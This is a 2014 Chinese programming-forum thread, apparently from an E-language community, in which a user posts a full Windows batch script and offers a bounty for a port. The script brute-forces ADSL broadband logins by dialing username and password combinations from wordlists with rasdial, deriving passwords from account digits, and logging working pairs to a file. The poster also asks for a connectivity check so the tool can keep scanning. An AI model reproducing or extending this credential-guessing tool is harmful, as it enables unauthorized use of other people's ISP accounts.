把这个ADSL账号扫描批处理功能 写成易语言

hackrzc

@title 宽带账号批量连接检测批处理 By beau qq 512292929
@echo off & setlocal enabledelayedexpansion

set userfile=宽带账号.txt
set passfile=宽带密码.txt
set pppname=宽带连接
set outfile=成功连接.txt

:choose
echo.&echo 本批处理实现以下功能：
echo.&echo     1 - 创建 !pppname!（配合模拟按键实现）
echo.&echo     2 - 测试固定的宽带账号及密码
echo.&echo     3 - 宽带账号固定，密码从文本 %passfile% 里提取逐一测试
echo.&echo     4 - 宽带密码固定，账号从文本 %userfile% 里提取逐一测试
echo.&echo     5 - 宽带账号及密码均从以上文本里提取逐一测试
echo.&echo     6 - 从文本 %userfile% 里提取宽带账号并手动截取@前几位数作为密码
echo.&echo     0 - 退出批处理
echo.&set /p choose=请输入你选择的序号并回车：

if %choose% equ 0 exit
if %choose% equ 1 goto :buildppp
if %choose% equ 2 goto :user1pass1
if %choose% equ 3 goto :user1passx
if %choose% equ 4 goto :pass1userx
if %choose% equ 5 goto :userxpassx
if %choose% equ 6 goto :user_passx

cls&echo.&echo 输入的序号有误，请重新选择！&set choose=&goto :choose


:buildppp
::创建新宽带连接
set vbs=buildppp.vbs
(echo Set WshShell = CreateObject^("WScript.Shell"^)
echo strCommandLine = "rasphone -a ""!pppname!"""
echo WshShell.Run^(strCommandLine^)
echo WScript.Sleep 1000
echo WshShell.SendKeys "R"
echo WScript.Sleep 30
echo WshShell.SendKeys "{ENTER}"
echo WScript.Sleep 30
echo WshShell.SendKeys "{ENTER}"
echo Set WshShell = Nothing
)>"%vbs%"
cscript //nologo "%vbs%"
del "%vbs%"
goto :exit

:user1pass1
echo.&set /p user=请输入宽带账号：
echo.&set /p pass=请输入宽带密码：
call :check1
goto :exit

:user1passx
set user=改成固定的宽带账号
call :check0
for /f "tokens=*" %%a in ('type "%passfile%"') do (
    if !end! equ 1 (set end=&goto :exit)
    set pass=%%a&call :check1
)
goto :exit

:pass1userx
set pass=123456
call :check0
for /f "tokens=*" %%a in ('type "%userfile%"') do (
    if !end! equ 1 (set end=&goto :exit)
    set user=%%a&call :check1
)
goto :exit

:userxpassx
call :check0
for /f "tokens=*" %%a in ('type "%userfile%"') do (
    set user=%%a
    call :check2
)
goto :exit

:user_passx
call :check0
echo.&set /p num=请输入要截取用户名@前多少位数字作为密码：
for /f "tokens=1-2 delims=@" %%a in (宽带账号.txt) do (
    set str=%%a
    set user=%%a@%%b
    set pass=!str:~-%num%!
    call :check1
)
goto :exit

:exit
rasdial "!pppname!" !lastuser! !lastpass!
echo.&echo 所有操作完毕，按任意键退出&pause>nul&exit

:check0
rasdial|find "已连接">nul
if !errorlevel! equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&set pppname=%%a&goto :eof)
goto :eof

:check1
echo.&set /p str=正在连接账号 !user!=!pass! <nul
rasdial "!pppname!" !user! !pass! >nul
rasdial|find "已连接">nul
if !errorlevel! equ 0 (
    echo [连接成功]
    if %choose% neq 7 echo>>"%outfile%" !user!=!pass!
    set lastuser=!user!
    set lastpass=!pass!
    set end=1
) else (echo.)
rasdial "!pppname!" /d >nul
goto :eof

:check2
for /f "tokens=*" %%b in ('type "%passfile%"') do (
    if !end! equ 1 (set end=&goto :eof)
    set pass=%%b
    call :check1
)
goto :eof


以上是批处理


如果连接成功判断是否能打开百度或精易论坛 如果可以停止扫描  如果不可以就算是连接成功继续断开继续扫描 QQ:528526999 如果还是不清楚 +我Q吧 悬赏好说

补充内容 (2014-4-12 17:05):
类似的源码也可以！

聚义堂神话

精易模块不是有这里功能吗？ ADSL类

hackrzc

聚义堂神话 发表于 2014-4-11 22:50
精易模块不是有这里功能吗？ ADSL类

有啊 本来小菜 我自己试的做了下 遇到很多问题  我不能一直发悬赏把 多麻烦！！

千年以后

没看懂！！！！！！

hackrzc

@小爬虫

MrSimple

我有搞过一次 但是有bug 你可以添加一个导入功能 希望可以帮到你吧

hackrzc

@小爬虫

MrSimple

要不要我抽空帮你写了

醉看ジ笑红颜づ

@小爬虫            

醉看ジ笑红颜づ

真心没看见过类似的列程...   解决不了..